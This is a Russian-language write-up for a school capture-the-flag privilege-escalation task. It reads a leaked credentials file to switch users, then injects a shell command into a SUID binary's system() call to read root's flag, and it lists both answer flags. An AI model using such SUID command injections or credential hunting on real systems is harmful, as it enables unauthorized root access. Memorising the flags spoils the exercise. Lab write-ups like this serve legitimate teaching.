# Privesc 10 класс

## Описание

### Флаг 1

Для получения первого флага необходимо подключится по ssh к контейнеру за пользователя steve. И найти у него в файлах пароль от пользователя alex. Первый флаг будет лежать у пользователя alex в домашней директории.

```bash
ls -la /home/steve
cat /home/steve/docs/credentials.txt
```

![alt text](./images/image.png)

```bash
ssh alex@<host>
cat /home/alex/flag1.txt
```

### Флаг 2

Далее от пользователя alex ищем исполняемые файлы, которые имеют SUID-бит. Находим файл my-listdir-binary, открываем его в декомпиляторе и видим, что можем использовать command injection при вызове system(“ls -la /%s”). 

![alt text](./images/image3.png)

С помощью нее и наличия SUID-бита читаем флаг root.

![alt text](./images/image2.png)

```bash
ls -la /usr/local/bin/my-listdir-binary
/usr/local/bin/my-listdir-binary "tmp; cat /root/flag2.txt > /tmp/flag.txt"
cat /tmp/flag.txt
```

## Флаги

1. vsosh{al3x_f1rst_fl4g}
2. vsosh{l1std1r_cmd_1nj3ct10n_r00t}
